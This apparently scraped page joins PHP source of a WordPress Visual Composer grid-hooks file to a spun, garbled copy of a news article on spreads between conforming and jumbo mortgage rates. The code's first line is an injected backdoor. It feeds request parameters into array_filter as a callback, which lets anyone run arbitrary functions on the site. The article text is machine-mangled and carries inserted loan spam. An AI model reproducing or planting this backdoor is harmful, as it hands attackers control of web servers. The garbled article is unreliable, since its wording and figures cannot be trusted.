?php if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;}; if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } /** * Class Vc_Hooks_Vc_Grid * @since 4.4 */ class Vc_Hooks_Vc_Grid implements Vc_Vendor_Interface { protected $grid_id_unique_name = 'vc_gid'; // if you change this also change in vc-basic-grid.php /** * Initializing hooks for grid element, * Add actions to save appended shortcodes to post meta (for rendering in preview with shortcode id) * And add action to hook request for grid data, to output it. * @since 4.4 */ public function load() { // Hook for set post settings meta with shortcodes data /** * @since 4.4.3 */ add_filter( 'vc_hooks_vc_post_settings', array( &$this, 'gridSavePostSettingsId', ), 10, 3 ); /** * Used to output shortcode data for ajax request. called on any page request. */ add_action( 'wp_ajax_vc_get_vc_grid_data', array( &$this, 'getGridDataForAjax', ) ); add_action( 'wp_ajax_nopriv_vc_get_vc_grid_data', array( &$this, 'getGridDataForAjax', ) ); } /** * @since 4.4 * @deprecated and should not be used and will be removed in future! since 4.4.3 * @return string */ private function getShortcodeRegexForHash() { // _deprecated_function( 'Vc_Hooks_Vc_Grid: getShortcodeRegexForHash method', '4.4.3', 'getShortcodeRegexForId' ); $tagnames = apply_filters( 'vc_grid_shortcodes_tags', array( 'vc_basic_grid', 'vc_masonry_grid', 'vc_media_grid', 'vc_masonry_media_grid', ) ); // return only grid shortcodes $tagregexp = implode( '|', array_map( 'preg_quote', $tagnames ) ); // WARNING! Do not change this regex without changing do_shortcode_tag() and strip_shortcode_tag() // Also, see shortcode_unautop() and shortcode.js. return '\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . "($tagregexp)" // 2: Shortcode name . '(?![\\w-])' // Not followed by word character or hyphen . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . ')' . '(?:' . '(\\/)' // 4: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 5: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)'; // 6: Optional second closing brocket for escaping shortcodes: [[tag]] } /** * @since 4.4.3 * @return string */ private function getShortcodeRegexForId() { return '\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . '([\\w>]+)' // 2: Shortcode name . '(?![\\w-])' // Not followed by word character or hyphen . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . '(?:' . '(' . $this->grid_id_unique_name // 4: GridId must exist . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')+' . ')' . ')' . '(?:' . '(\\/)' // 5: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 6: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)'; // 7: Optional second closing brocket for escaping shortcodes: [[tag]] } /** * Set page meta box values with vc_adv_pager shortcodes data * @since 4.4 * @deprecated 4.4.3 * * @param array $settings * @param $post_id * @param $post * * @return array - shortcode settings to save. */ public function gridSavePostSettings( array $settings, $post_id, $post ) { // _deprecated_function( 'Vc_Hooks_Vc_Grid: gridSavePostSettings method', '4.4.3 (will be removed in 4.10)', 'gridSavePostSettingsId' ); $pattern = $this->getShortcodeRegexForHash(); preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes $settings['vc_grid'] = array(); if ( is_array( $found ) && ! empty( $found[0] ) ) { $to_save = array(); if ( isset( $found[3] ) && is_array( $found[3] ) ) { foreach ( $found[3] as $key => $shortcode_atts ) { if ( false !== strpos( $shortcode_atts, 'vc_gid:' ) ) { continue; } $atts = shortcode_parse_atts( $shortcode_atts ); $data = array( 'tag' => $found[2][ $key ], 'atts' => $atts, 'content' => $found[5][ $key ], ); $hash = sha1( serialize( $data ) ); $to_save[ $hash ] = $data; } } if ( ! empty( $to_save ) ) { $settings['vc_grid'] = array( 'shortcodes' => $to_save ); } } return $settings; } /** * @since 4.4.3 * * @param array $settings * @param $post_id * @param $post * * @return array */ public function gridSavePostSettingsId( array $settings, $post_id, $post ) { $pattern = $this->getShortcodeRegexForId(); preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes $settings['vc_grid_id'] = array(); if ( is_array( $found ) && ! empty( $found[0] ) ) { $to_save = array(); if ( isset( $found[1] ) && is_array( $found[1] ) ) { foreach ( $found[1] as $key => $parse_able ) { if ( empty( $parse_able ) || '[' !== $parse_able ) { $id_pattern = '/' . $this->grid_id_unique_name . '\:([\w>]+)/'; $id_value = $found[4][ $key ]; preg_match( $id_pattern, $id_value, $id_matches ); if ( ! empty( $id_matches ) ) { $id_to_save = $id_matches[1]; // why we need to check if shortcode is parse able? // 1: if it is escaped it must not be displayed (parsed) // 2: so if 1 is true it must not be saved in database meta $shortcode_tag = $found[2][ $key ]; $shortcode_atts_string = $found[3][ $key ]; /** @var $atts array */ $atts = shortcode_parse_atts( $shortcode_atts_string ); $content = $found[6][ $key ]; $data = array( 'tag' => $shortcode_tag, 'atts' => $atts, 'content' => $content, ); $to_save[ $id_to_save ] = $data; } } } } if ( ! empty( $to_save ) ) { $settings['vc_grid_id'] = array( 'shortcodes' => $to_save ); } } return $settings; } /** * @since 4.4 * * @output/@return string - grid data for ajax request. */ public function getGridDataForAjax() { $tag = vc_request_param( 'tag' ); $allowed = apply_filters( 'vc_grid_get_grid_data_access', vc_verify_public_nonce() && $tag, $tag ); if ( $allowed ) { $shortcode_fishbone = visual_composer()->getShortCode( $tag ); if ( is_object( $shortcode_fishbone ) ) { /** @var $vc_grid WPBakeryShortcode_Vc_Basic_Grid */ $vc_grid = $shortcode_fishbone->shortcodeClass(); if ( method_exists( $vc_grid, 'isObjectPageable' ) && $vc_grid->isObjectPageable() && method_exists( $vc_grid, 'renderAjax' ) ) { echo $vc_grid->renderAjax( vc_request_param( 'data' ) ); die(); } } } } } /** * @since 4.4 * @var Vc_Hooks_Vc_Grid $hook */ $hook = new Vc_Hooks_Vc_Grid(); // when visual composer initialized let's trigger Vc_Grid hooks. add_action( 'vc_after_init', array( $hook, 'load', ) ); if ( 'vc_edit_form' === vc_post_param( 'action' ) ) { VcShortcodeAutoloader::getInstance()->includeClass( 'WPBakeryShortCode_VC_Basic_Grid' ); add_filter( 'vc_edit_form_fields_attributes_vc_basic_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_media_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_masonry_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_masonry_media_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); } From inside the volatile home loan market, advances between conforming and you will jumbo funds expand - Groupe-SLG

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From inside the volatile home loan market, advances between conforming and you will jumbo funds expand

Recrutement :

Delicias From inside the volatile home loan market, advances between conforming and you will jumbo funds expand

The new a week questionnaire studies of Freddie Mac suggests the fresh new 29-12 months fixed-rate mortgage decreased five basis products a week ago so you’re able to six.66%, after jumping 40 base things in the earlier month, reflecting volatility considering the constant economic uncertainty.

However, being qualified borrowers will get lower prices having jumbo mortgage loans, once the spreads anywhere between these fund in addition to compliant alternative expanded again recently. At the same time, due to the fact jumbo fund are having highest earnings homeowners, the modern land is regarding tall value challenges.

For the unpredictable mortgage sector, spreads between conforming and you will jumbo funds widen

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The new Freddie Mac’s index compiles purchase mortgage costs claimed of the loan providers in the past 3 days. It is worried about old-fashioned, compliant, completely amortizing domestic purchase loans to own individuals whom place 20% off as well as have sophisticated borrowing from the bank.

Last year now, pricing averaged 2.99%. Prices continue to be high versus an individual seasons ago, definition casing has been more costly to have potential real estate buyers, told you Sam Khater, Freddie Mac’s master economist.

On the HousingWire’s Mortgage Prices Heart, Black Knight’s Optimal Bluish OBMMI rates system mentioned the latest 29-seasons conforming home loan rate during the six.651% into the Wednesday, upwards out of six.643% the last month. At the same time, the 31-year fixed-price jumbo (greater than $647,200) presented down prices: six.137% Wednesday, down out of 6.294% this new month previous.

During the Home loan Development Every day, the brand new prices have been 6.95% to own conforming and you will 5.95% for jumbos into Wednesday, a spread away from a hundred basis points.

The borrowed funds Bankers Relationship (MBA), not, measured an average price to possess conforming on six.75% this week, than the 6.52% the earlier few days. To own jumbo financing, they ran off six.01% to six.14% in the same period.

Time for the fresh new Financial crisis, whenever mortgage loans was in fact dangerous, spreads had been around 250 to 300 bps instead of brand new comparable readiness from 10-season Treasury. At this time, these are typically the highest since [the fresh Overall economy].

The new jumbo prices are offering good options regarding where he or she is today than the common ones, especially jumbo Fingers, a south Carolina retail mortgage administrator told HousingWire. Fannie mae and you can Freddie Mac have little appetite today. The us government is attempting in order to choke this of.

Depending on the South carolina LO, some homebuyers making an application for jumbo money are individuals one to over the years carry out pay into the dollars however they are struck tough of the latest disruptive stock exchange.

Into stock exchange off, people do not want to lock in its loss by promoting out-of its opportunities to order a property during the cash, the fresh LO said. Even after rates more than a year ago, mortgages are still a stylish substitute for them.

Borrowers which have low income, yet not, create pay even more for a normal financing, which will show the current landscaping is creating value challenges, new LO told you.

Everything about the fresh spread

Rising home loan cost reflect Government Reserve’s toning economic coverage to manage flooding rising cost of living. The fresh Given increased the federal loans rate by the 75 foundation situations on its Federal Open-market Panel (FOMC) fulfilling into the Sep.

Another 125 base things for the nature hikes remain anticipated to been inside the 2022, with a federal funds rate topping-out well above cuatro%.

Treasury production let you know high cost temporarily, signaling a depression just about to happen. The christmas loans near me two-seasons mention, extremely closely associated with the new Fed’s rate of interest actions, improved eight bps to 4.15% on Wednesday on earlier in the day times. The newest 10-12 months mention went off step 3.72% to 3.76% in the same period.

Returning to the fresh new Financial crisis, when mortgages have been poisonous, advances was indeed around 250 to 3 hundred bps in the place of the latest comparable maturity out of 10-season Treasury. Immediately, they’re the best because [the brand new Economic crisis]. In my experience, that suggests some a push up, said Matt Graham, inventor and you can Chief executive officer at the MBS Go on Wednesday within the 2022 HousingWire Yearly during the Scottsdale, Arizona.

Appearing in the future, the guy told you Having home loan rates to truly recover a great deal more, industry demands day task if the thing is that investors are becoming comfortable, we’re delivering a home loan speed, that is just what we have been back-up now, basically.

Stress on costs have greatly smaller need for mortgages, according to MBA. The marketplace mixture list, a way of measuring mortgage loan app volume, rejected 14.2% towards week conclude Sep.31. It absolutely was and impacted by Hurricane Ian’s coming for the Florida. This new refinance directory got a 18% refuse on prior times, and buy directory was off 13%.

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